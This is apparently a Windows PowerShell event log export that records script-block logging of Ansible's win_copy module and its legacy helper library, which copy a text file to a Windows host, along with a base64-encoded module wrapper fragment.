Windows PowerShell has started an IPC listening thread on process: 3176 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2263 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3176 | 2224 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:11 AM | 61e00a24-ee3b-0003-f1e3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2262 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3176 | 1012 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:11 AM | 61e00a24-ee3b-0003-f1e3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#!powershell
# Copyright: (c) 2015, Jon Hawkesworth (@jhawkesworth) <figs@unity.demon.co.uk>
# Copyright: (c) 2017, Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
#Requires -Module Ansible.ModuleUtils.Legacy
$ErrorActionPreference = 'Stop'
$params = Parse-Args -arguments $args -supports_check_mode $true
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
$diff_mode = Get-AnsibleParam -obj $params -name "_ansible_diff" -type "bool" -default $false
# there are 4 modes to win_copy which are driven by the action plugins:
# explode: src is a zip file which needs to be extracted to dest, for use with multiple files
# query: win_copy action plugin wants to get the state of remote files to check whether it needs to send them
# remote: all copy action is happening remotely (remote_src=True)
# single: a single file has been copied, also used with template
$copy_mode = Get-AnsibleParam -obj $params -name "_copy_mode" -type "str" -default "single" -validateset "explode","query","remote","single"
# used in explode, remote and single mode
$src = Get-AnsibleParam -obj $params -name "src" -type "path" -failifempty ($copy_mode -in @("explode","process","single"))
$dest = Get-AnsibleParam -obj $params -name "dest" -type "path" -failifempty $true
# used in single mode
$original_basename = Get-AnsibleParam -obj $params -name "_original_basename" -type "str"
# used in query and remote mode
$force = Get-AnsibleParam -obj $params -name "force" -type "bool" -default $true
# used in query mode, contains the local files/directories/symlinks that are to be copied
$files = Get-AnsibleParam -obj $params -name "files" -type "list"
$directories = Get-AnsibleParam -obj $params -name "directories" -type "list"
$symlinks = Get-AnsibleParam -obj $params -name "symlinks" -type "list"
$result = @{
changed = $false
}
if ($diff_mode) {
$result.diff = @{}
}
Function Copy-File($source, $dest) {
$diff = ""
$copy_file = $false
$source_checksum = $null
if ($force) {
$source_checksum = Get-FileChecksum -path $source
}
if (Test-Path -Path $dest -PathType Container) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': dest is already a folder"
} elseif (Test-Path -Path $dest -PathType Leaf) {
if ($force) {
$target_checksum = Get-FileChecksum -path $dest
if ($source_checksum -ne $target_checksum) {
$copy_file = $true
}
}
} else {
$copy_file = $true
}
if ($copy_file) {
$file_dir = [System.IO.Path]::GetDirectoryName($dest)
# validate the parent dir is not a file and that it exists
if (Test-Path -Path $file_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': object at dest parent dir is not a folder"
} elseif (-not (Test-Path -Path $file_dir)) {
# directory doesn't exist, need to create
New-Item -Path $file_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
$diff += "+$file_dir\`n"
}
if (Test-Path -Path $dest -PathType Leaf) {
Remove-Item -Path $dest -Force -Recurse -WhatIf:$check_mode | Out-Null
$diff += "-$dest`n"
}
if (-not $check_mode) {
# cannot run with -WhatIf:$check_mode as if the parent dir didn't
# exist and was created above would still not exist in check mode
Copy-Item -Path $source -Destination $dest -Force | Out-Null
}
$diff += "+$dest`n"
$result.changed = $true
}
# ugly but to save us from running the checksum twice, let's return it for
# the main code to add it to $result
return ,@{ diff = $diff; checksum = $source_checksum }
}
Function Copy-Folder($source, $dest) {
$diff = ""
$copy_folder = $false
if (-not (Test-Path -Path $dest -PathType Container)) {
$parent_dir = [System.IO.Path]::GetDirectoryName($dest)
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': object at dest parent dir is not a folder"
}
if (Test-Path -Path $dest -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder from '$source' to '$dest': dest is already a file"
}
New-Item -Path $dest -ItemType Container -WhatIf:$check_mode | Out-Null
$diff += "+$dest\`n"
$result.changed = $true
}
$child_items = Get-ChildItem -Path $source -Force
foreach ($child_item in $child_items) {
$dest_child_path = Join-Path -Path $dest -ChildPath $child_item.Name
if ($child_item.PSIsContainer) {
$diff += (Copy-Folder -source $child_item.Fullname -dest $dest_child_path)
} else {
$diff += (Copy-File -source $child_item.Fullname -dest $dest_child_path).diff
}
}
return $diff
}
Function Get-FileSize($path) {
$file = Get-Item -Path $path -Force
$size = $null
if ($file.PSIsContainer) {
$dir_files_sum = Get-ChildItem $file.FullName -Recurse
if ($dir_files_sum -eq $null -or ($dir_files_sum.PSObject.Properties.name -contains 'length' -eq $false)) {
$size = 0
} else {
$size = ($dir_files_sum | Measure-Object -property length -sum).Sum
}
} else {
$size = $file.Length
}
$size
}
Function Extract-Zip($src, $dest) {
$archive = [System.IO.Compression.ZipFile]::Open($src, [System.IO.Compression.ZipArchiveMode]::Read, [System.Text.Encoding]::UTF8)
foreach ($entry in $archive.Entries) {
$archive_name = $entry.FullName
# FullName may be appended with / or \, determine if it is padded and remove it
$padding_length = $archive_name.Length % 4
if ($padding_length -eq 0) {
$is_dir = $false
$base64_name = $archive_name
} elseif ($padding_length -eq 1) {
$is_dir = $true
if ($archive_name.EndsWith("/") -or $archive_name.EndsWith("`\")) {
$base64_name = $archive_name.Substring(0, $archive_name.Length - 1)
} else {
throw "invalid base64 archive name '$archive_name'"
}
} else {
throw "invalid base64 length '$archive_name'"
}
# to handle unicode character, win_copy action plugin has encoded the filename
$decoded_archive_name = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64_name))
# re-add the / to the entry full name if it was a directory
if ($is_dir) {
$decoded_archive_name = "$decoded_archive_name/"
}
$entry_target_path = [System.IO.Path]::Combine($dest, $decoded_archive_name)
$entry_dir = [System.IO.Path]::GetDirectoryName($entry_target_path)
if (-not (Test-Path -Path $entry_dir)) {
New-Item -Path $entry_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
}
if ($is_dir -eq $false) {
if (-not $check_mode) {
[System.IO.Compression.ZipFileExtensions]::ExtractToFile($entry, $entry_target_path, $true)
}
}
}
$archive.Dispose() # release the handle of the zip file
}
Function Extract-ZipLegacy($src, $dest) {
if (-not (Test-Path -Path $dest)) {
New-Item -Path $dest -ItemType Directory -WhatIf:$check_mode | Out-Null
}
$shell = New-Object -ComObject Shell.Application
$zip = $shell.NameSpace($src)
$dest_path = $shell.NameSpace($dest)
foreach ($entry in $zip.Items()) {
$is_dir = $entry.IsFolder
$encoded_archive_entry = $entry.Name
# to handle unicode character, win_copy action plugin has encoded the filename
$decoded_archive_entry = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded_archive_entry))
if ($is_dir) {
$decoded_archive_entry = "$decoded_archive_entry/"
}
$entry_target_path = [System.IO.Path]::Combine($dest, $decoded_archive_entry)
$entry_dir = [System.IO.Path]::GetDirectoryName($entry_target_path)
if (-not (Test-Path -Path $entry_dir)) {
New-Item -Path $entry_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
}
if ($is_dir -eq $false -and (-not $check_mode)) {
# https://msdn.microsoft.com/en-us/library/windows/desktop/bb787866.aspx
# From Folder.CopyHere documentation, 1044 means:
# - 1024: do not display a user interface if an error occurs
# - 16: respond with "yes to all" for any dialog box that is displayed
# - 4: do not display a progress dialog box
$dest_path.CopyHere($entry, 1044)
# once file is extraced, we need to rename it with non base64 name
$combined_encoded_path = [System.IO.Path]::Combine($dest, $encoded_archive_entry)
Move-Item -Path $combined_encoded_path -Destination $entry_target_path -Force | Out-Null
}
}
}
if ($copy_mode -eq "query") {
# we only return a list of files/directories that need to be copied over
# the source of the local file will be the key used
$changed_files = @()
$changed_directories = @()
$changed_symlinks = @()
foreach ($file in $files) {
$filename = $file.dest
$local_checksum = $file.checksum
$filepath = Join-Path -Path $dest -ChildPath $filename
if (Test-Path -Path $filepath -PathType Leaf) {
if ($force) {
$checksum = Get-FileChecksum -path $filepath
if ($checksum -ne $local_checksum) {
$will_change = $true
$changed_files += $file
}
}
} elseif (Test-Path -Path $filepath -PathType Container) {
Fail-Json -obj $result -message "cannot copy file to dest '$filepath': object at path is already a directory"
} else {
$changed_files += $file
}
}
foreach ($directory in $directories) {
$dirname = $directory.dest
$dirpath = Join-Path -Path $dest -ChildPath $dirname
$parent_dir = [System.IO.Path]::GetDirectoryName($dirpath)
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder to dest '$dirpath': object at parent directory path is already a file"
}
if (Test-Path -Path $dirpath -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder to dest '$dirpath': object at path is already a file"
} elseif (-not (Test-Path -Path $dirpath -PathType Container)) {
$changed_directories += $directory
}
}
# TODO: Handle symlinks
$result.files = $changed_files
$result.directories = $changed_directories
$result.symlinks = $changed_symlinks
} elseif ($copy_mode -eq "explode") {
# a single zip file containing the files and directories needs to be
# expanded this will always result in a change as the calculation is done
# on the win_copy action plugin and is only run if a change needs to occur
if (-not (Test-Path -Path $src -PathType Leaf)) {
Fail-Json -obj $result -message "Cannot expand src zip file: '$src' as it does not exist"
}
# Detect if the PS zip assemblies are available or whether to use Shell
$use_legacy = $false
try {
Add-Type -AssemblyName System.IO.Compression.FileSystem | Out-Null
Add-Type -AssemblyName System.IO.Compression | Out-Null
} catch {
$use_legacy = $true
}
if ($use_legacy) {
Extract-ZipLegacy -src $src -dest $dest
} else {
Extract-Zip -src $src -dest $dest
}
$result.changed = $true
} elseif ($copy_mode -eq "remote") {
# all copy actions are happening on the remote side (windows host), need
# too copy source and dest using PS code
$result.src = $src
$result.dest = $dest
if (-not (Test-Path -Path $src)) {
Fail-Json -obj $result -message "Cannot copy src file: '$src' as it does not exist"
}
if (Test-Path -Path $src -PathType Container) {
# we are copying a directory or the contents of a directory
$result.operation = 'folder_copy'
if ($src.EndsWith("/") -or $src.EndsWith("`\")) {
# copying the folder's contents to dest
$diff = ""
$child_files = Get-ChildItem -Path $src -Force
foreach ($child_file in $child_files) {
$dest_child_path = Join-Path -Path $dest -ChildPath $child_file.Name
if ($child_file.PSIsContainer) {
$diff += Copy-Folder -source $child_file.FullName -dest $dest_child_path
} else {
$diff += (Copy-File -source $child_file.FullName -dest $dest_child_path).diff
}
}
} else {
# copying the folder and it's contents to dest
$dest = Join-Path -Path $dest -ChildPath (Get-Item -Path $src -Force).Name
$result.dest = $dest
$diff = Copy-Folder -source $src -dest $dest
}
} else {
# we are just copying a single file to dest
$result.operation = 'file_copy'
$source_basename = (Get-Item -Path $src -Force).Name
$result.original_basename = $source_basename
if ($dest.EndsWith("/") -or $dest.EndsWith("`\")) {
$dest = Join-Path -Path $dest -ChildPath (Get-Item -Path $src -Force).Name
$result.dest = $dest
} else {
# check if the parent dir exists, this is only done if src is a
# file and dest if the path to a file (doesn't end with \ or /)
$parent_dir = Split-Path -Path $dest
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
Fail-Json -obj $result -message "Destination directory '$parent_dir' does not exist"
}
}
$copy_result = Copy-File -source $src -dest $dest
$diff = $copy_result.diff
$result.checksum = $copy_result.checksum
}
# the file might not exist if running in check mode
if (-not $check_mode -or (Test-Path -Path $dest -PathType Leaf)) {
$result.size = Get-FileSize -path $dest
} else {
$result.size = $null
}
if ($diff_mode) {
$result.diff.prepared = $diff
}
} elseif ($copy_mode -eq "single") {
# a single file is located in src and we need to copy to dest, this will
# always result in a change as the calculation is done on the Ansible side
# before this is run. This should also never run in check mode
if (-not (Test-Path -Path $src -PathType Leaf)) {
Fail-Json -obj $result -message "Cannot copy src file: '$src' as it does not exist"
}
# the dest parameter is a directory, we need to append original_basename
if ($dest.EndsWith("/") -or $dest.EndsWith("`\") -or (Test-Path -Path $dest -PathType Container)) {
$remote_dest = Join-Path -Path $dest -ChildPath $original_basename
$parent_dir = Split-Path -Path $remote_dest
# when dest ends with /, we need to create the destination directories
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
New-Item -Path $parent_dir -ItemType Directory | Out-Null
}
} else {
$remote_dest = $dest
$parent_dir = Split-Path -Path $remote_dest
# check if the dest parent dirs exist, need to fail if they don't
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
Fail-Json -obj $result -message "Destination directory '$parent_dir' does not exist"
}
}
Copy-Item -Path $src -Destination $remote_dest -Force | Out-Null
$result.changed = $true
}
Exit-Json -obj $result
ScriptBlock ID: ef7287fd-01e0-4b35-ba1b-86c7eda735a5
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2261 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1308 | 1352 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:11 AM | 61e00a24-ee3b-0000-57b3-ee613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 13405731-7d26-4c6c-af04-50ff4c9c8688
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2260 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1308 | 2248 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:10 AM | 61e00a24-ee3b-0003-dce3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: 52616c50-c001-4d87-8828-07c5da9ba04b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2259 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1308 | 2248 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:10 AM | 61e00a24-ee3b-0005-f107-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
leHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRlbmNvZGVkX2FyY2hpdmVfZW50cnkpKQogICAgICAgIGlmICgkaXNfZGlyKSB7CiAgICAgICAgICAgICRkZWNvZGVkX2FyY2hpdmVfZW50cnkgPSAiJGRlY29kZWRfYXJjaGl2ZV9lbnRyeS8iCiAgICAgICAgfQoKICAgICAgICAkZW50cnlfdGFyZ2V0X3BhdGggPSBbU3lzdGVtLklPLlBhdGhdOjpDb21iaW5lKCRkZXN0LCAkZGVjb2RlZF9hcmNoaXZlX2VudHJ5KQogICAgICAgICRlbnRyeV9kaXIgPSBbU3lzdGVtLklPLlBhdGhdOjpHZXREaXJlY3RvcnlOYW1lKCRlbnRyeV90YXJnZXRfcGF0aCkKCiAgICAgICAgaWYgKC1ub3QgKFRlc3QtUGF0aCAtUGF0aCAkZW50cnlfZGlyKSkgewogICAgICAgICAgICBOZXctSXRlbSAtUGF0aCAkZW50cnlfZGlyIC1JdGVtVHlwZSBEaXJlY3RvcnkgLVdoYXRJZjokY2hlY2tfbW9kZSB8IE91dC1OdWxsCiAgICAgICAgfQoKICAgICAgICBpZiAoJGlzX2RpciAtZXEgJGZhbHNlIC1hbmQgKC1ub3QgJGNoZWNrX21vZGUpKSB7CiAgICAgICAgICAgICMgaHR0cHM6Ly9tc2RuLm1pY3Jvc29mdC5jb20vZW4tdXMvbGlicmFyeS93aW5kb3dzL2Rlc2t0b3AvYmI3ODc4NjYuYXNweAogICAgICAgICAgICAjIEZyb20gRm9sZGVyLkNvcHlIZXJlIGRvY3VtZW50YXRpb24sIDEwNDQgbWVhbnM6CiAgICAgICAgICAgICMgIC0gMTAyNDogZG8gbm90IGRpc3BsYXkgYSB1c2VyIGludGVyZmFjZSBpZiBhbiBl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cGUgTGVhZikgewogICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0IC1tZXNzYWdlICJvYmplY3QgYXQgZGVzdGluYXRpb24gcGFyZW50IGRpciAnJHBhcmVudF9kaXInIGlzIGN1cnJlbnRseSBhIGZpbGUiCiAgICAgICAgfSBlbHNlaWYgKC1ub3QgKFRlc3QtUGF0aCAtUGF0aCAkcGFyZW50X2RpciAtUGF0aFR5cGUgQ29udGFpbmVyKSkgewogICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0IC1tZXNzYWdlICJEZXN0aW5hdGlvbiBkaXJlY3RvcnkgJyRwYXJlbnRfZGlyJyBkb2VzIG5vdCBleGlzdCIKICAgICAgICB9CiAgICB9CgogICAgQ29weS1JdGVtIC1QYXRoICRzcmMgLURlc3RpbmF0aW9uICRyZW1vdGVfZGVzdCAtRm9yY2UgfCBPdXQtTnVsbAogICAgJHJlc3VsdC5jaGFuZ2VkID0gJHRydWUKfQoKRXhpdC1Kc29uIC1vYmogJHJlc3VsdAo=", "module_args": {"_ansible_version": "2.7.0", "src": "C:\\Users\\Admin\\AppData\\Local\\Temp\\ansible-tmp-1611050467.96-174975739280923\\source", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "dest": "C:\\eventlogjs.txt", "checksum": "3d83b7bd9b4b6f109f75affd8ae845d7acd9808d", "_ansible_module_name": "copy", "_ansible_debug": false, "_ansible_verbosity": 3, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_original_basename": "eventlogjs.txt", "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "mode": null, "_ansible_check_mode": false, "_ansible_shell_executable": "/bin/sh", "follow": false, "_ansible_tmpdir": "'C:\\Users\\Admin\\AppData\\Local\\Temp\\ansible-tmp-1611050467.96-174975739280923'"}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
